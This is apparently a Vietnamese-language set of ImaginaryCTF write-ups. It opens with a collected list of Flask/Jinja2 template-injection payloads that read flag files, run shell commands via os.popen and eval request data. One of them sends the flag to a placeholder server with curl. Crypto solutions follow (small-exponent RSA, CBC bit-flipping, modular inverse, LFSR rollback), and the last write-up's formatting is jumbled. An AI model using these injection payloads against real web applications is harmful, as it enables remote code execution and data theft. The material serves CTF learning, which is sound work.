#Một số payload lượm lặt được mình lưu ở đây#1 from puzzler11.__class__(g.pop.__globals__.__builtins__.open("flag","rb").read().hex(),16)#2 from TheBadGod (read a char a time) - base #1 but too bada}}{{url_for.__globals__.__builtins__.open("flag","rb").read()[0]#3 from maple3142curl "https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.__globals__.__builtins__%5B%27eval%27%5D%28request.data%29" -X GET --data-raw "__import__('os').system('curl http://YOUR_SERVER -F f=@flag')"#request.data still exists in GET request#4 from tirefirerequest.application\.__globals__.__builtins__['eval'](request.full_path[97:])\&a=chr(45)\.join(map(str,map(ord,open(chr(0)[:0].join(map(chr,[102,108,97,103]))).read())))#5 from Aiviaghostconfig.__init__.__globals__.os.popen("nl * | od -b").read()#6 from puzzler1g.pop.__globals__.os.popen("od f*").read()
CRYPTO
GiongfNef
Rock Solid Algorithm
n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367e = 5c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152
Dạng RSA với e nhỏ nên ta dễ dàng brute force với flag = 5 √ (k*n + c) với k ∈ Z
from Crypto.Util.number import*n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367e = 5c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152i = 1def find_invpow(x,n): high = 1 while high ** n < x: high *= 2 low = high//2 while low < high: mid = (low + high) // 2 if low < mid and mid**n < x: low = mid elif high > mid and mid**n > x: high = mid else: return mid return mid + 1while True: flag = long_to_bytes(find_invpow(i*n+c,5)) if b'ictf' in flag: print(flag,i) i+=1#b'ictf{3_isnt_th3_0nly_sm4ll_3xp0n3nt}'
Flip Flops
file: Chall
về ý tưởng : đầu tiên ta phải gửi chuỗi hex cho server, server encode mọi chuỗi trừ trường hợp có cụm ‘gimmeflag’, bước 2 check lại nếu trong chuỗi vừa encode có cụm ‘gimmeflag’ server sẽ trả lại flag. Đây là mã CBC, block đầu tiên sẽ được xor với block iv, các block sau sẽ được xor với block trước nó. Ở đây ta không kiểm soát được block đầu tiên nên bỏ qua, ta gửi cụm aaaaaaaaaaaaaaaaGimmeflag , sau khi encode xong ta đổi kí tự đầu tiên là G thành g
Ta đổi kí tự đầu tiên cho dễ, rõ hơn:
32 = ord(‘G’) xor ord(‘g’) ( G xor g)
ta lấy kí tự đầu tiên của chuỗi sau khi encode ở dạng hex là :
0xb7^32 ( G xor( G xor g )) = g ) ta lại thu được g chuyển lại hex và thay là xong Gimmeflag -> gimmeflag
flag: ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}
Lines
file: Chall
bài này ta có :
flag_enc = (s * flag)%p
msg_enc= (s * msg)%p
ta dễ dàng tìm được s bằng nghịch đảo: s = (msg^-1 * msg_enc )%p tương tự ta tìm được flag .
from Crypto.Util.number import *import randommsg = bytes_to_long(b":roocursion:")p = 82820875767540480278499859101602250644399117699549694231796720388646919033627flag_enc = 26128737736971786465707543446495988011066430691718096828312365072463804029545msg_enc = 15673067813634207159976639166112349879086089811595176161282638541391245739514# s = g^(ab) mod p# flag_enc = (s * flag)%p# msg_enc=(s * msg)%ps = (pow(msg,-1,p) * msg_enc)%p print(s)print(long_to_bytes((inverse(s,p) * flag_enc )%p))
flag: ictf{m0d_4r1th_ftw_1c963241}
lttn
roll it back
Challenge
from itertools import *from gmpy2 import *def x(a,b): return bytes(islice((x^y for x,y in zip(cycle(a), cycle(b))), max(*map(len, [a, b]))))def t(x): return sum((((x & 28) >> 4) & 1) << i for i, x in enumerate(x))T = t(x(b"jctf{not_the_flag}", b"*-*")) | 1with open("flag.txt", "rb") as f: flag = int.from_bytes(f.read(), "little") l = flag.bit_length()print(f"{l = }")for _ in range(421337): flag = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))print(f"{flag = }")### Output# l = 420# flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643###
Nhìn vào đoạn đầu 1 xíu thì mình thấy code khá là loằng ngoằng với biến T được tạo từ 2 hàm
. Thật ra mình không cần quan tâm đến 2 hàm này lắmvì các tham số để tính T đều đã biết trước. Chỉ cần copy lại là có thể tính được T. x()
` và
`t()
Mình tính ra T là : 136085
` và bài cũng cho sẵn flag.bit_length()=
`420
Tiếp theo ta cần quan tâm đến đoạn:
for _ in range(421337): flag = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))
Đoạn này mỗi lần lặp flag sẽ mất đi 1 bit cuối và nếu như tổng số bit của 1
`(flag&T) là số lẻ thì
`flag
` sẽ được
`or
` với
`1<<419
Ở đoạn tính
vào làm bit cao nhất của flag.flag
`
`or
`
`1<<419
` , vì flag đã mất 1 bit trước đó nên phép tính này đơn giản chỉ là thêm 1 bit
`1
Đến đây có thể dễ dàng thấy được quy luật của bài này: Mỗi lần lặp flag mất đi 1 bit và nếu tổng số bit
vào làm bit cao nhất,ngược lại thì thêm 1
` của
`flag&T
` là lẻ thì thêm
`1
vào làm bit cao nhất.0
Lúc này mình có thể tìm tìm lai được flag ban đầu bằng cách dự đoán trước bit thấp nhất đã được bỏ đi ở mỗi lần lặprồi check lại điều kiên bằng cách tính tổng số bit 1 của
. Nếu bit cao nhất của flag đang là 1 thì kết quả phải ra là số lẻ, ngược lại thì kết quả phảilà chẵn và bỏ đi bit đầu tiên của flag. Cứ làm như thế đến khi đủ số lần lăp là tìm lại được flag ban đầuflag&T